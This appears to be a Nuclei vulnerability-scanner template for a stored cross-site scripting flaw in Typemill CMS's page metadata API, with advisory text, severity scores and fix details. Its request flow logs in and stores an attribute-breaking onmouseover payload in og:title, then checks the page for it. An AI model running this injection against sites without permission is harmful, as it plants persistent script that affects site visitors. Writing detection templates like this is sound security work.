Typemill CMS before version 2.23.0 is vulnerable to stored HTML attribute injection in the page metadata fields (og:title and og:description). An authenticated user with permission to modify page metadata can inject arbitrary HTML attributes into generated meta tags via the /api/v1/meta endpoint due to missing output encoding in the renderMeta() function in system/typemill/Assets.php.
id: CVE-2026-53468
info:
name: Typemill CMS < 2.23.0 - Cross-Site Scripting
author: sandiyochristan
severity: medium
description: |
Typemill CMS before version 2.23.0 is vulnerable to stored HTML attribute injection in the page metadata fields (og:title and og:description). An authenticated user with permission to modify page metadata can inject arbitrary HTML attributes into generated meta tags via the /api/v1/meta endpoint due to missing output encoding in the renderMeta() function in system/typemill/Assets.php.
impact: |
An authenticated attacker can inject arbitrary HTML attributes into meta tags, potentially leading to stored cross-site scripting (XSS) and execution of attacker-controlled JavaScript in the victim's browser context.
remediation: |
Update Typemill CMS to version 2.23.0 or later, which applies htmlspecialchars() encoding to metadata values before rendering.
reference:
- https://github.com/typemill/typemill/security/advisories/GHSA-wg6r-jwmr-p7gr
- https://nvd.nist.gov/vuln/detail/CVE-2026-53468
- https://github.com/typemill/typemill
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
cvss-score: 4.6
cve-id: CVE-2026-53468
epss-score: 0.00424
epss-percentile: 0.36959
cwe-id: CWE-79
metadata:
verified: true
max-request: 3
vendor: typemill
product: typemill
shodan-query: http.html:"typemill"
fofa-query: body="typemill"
tags: cve,cve2026,typemill,xss,cms,authenticated
variables:
username: "{{username}}"
password: "{{password}}"
flow: |
http('login');
http('inject');
http('verify');
http:
- id: login
raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{username}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- "true"
internal: true
- id: inject
raw:
- |
POST /api/v1/meta HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-Session-Auth: true
{"url":"/","tab":"meta","data":{"title":"{{randstr}}\" onmouseover=\"alert(document.domain)\" x=\"","status":"published"}}
matchers:
- type: dsl
dsl:
- "true"
internal: true
- id: verify
raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'onmouseover="alert(document.domain)"'
- 'og:title'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100e4ef080605bfcd9504c1ba4caa795d2a556c577b81d975bdcdd150b382fc42db02206ceaed0e6faba7f34e66cebb84e00b983061e7ce62d8f14a5d69a6b7614511ed:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.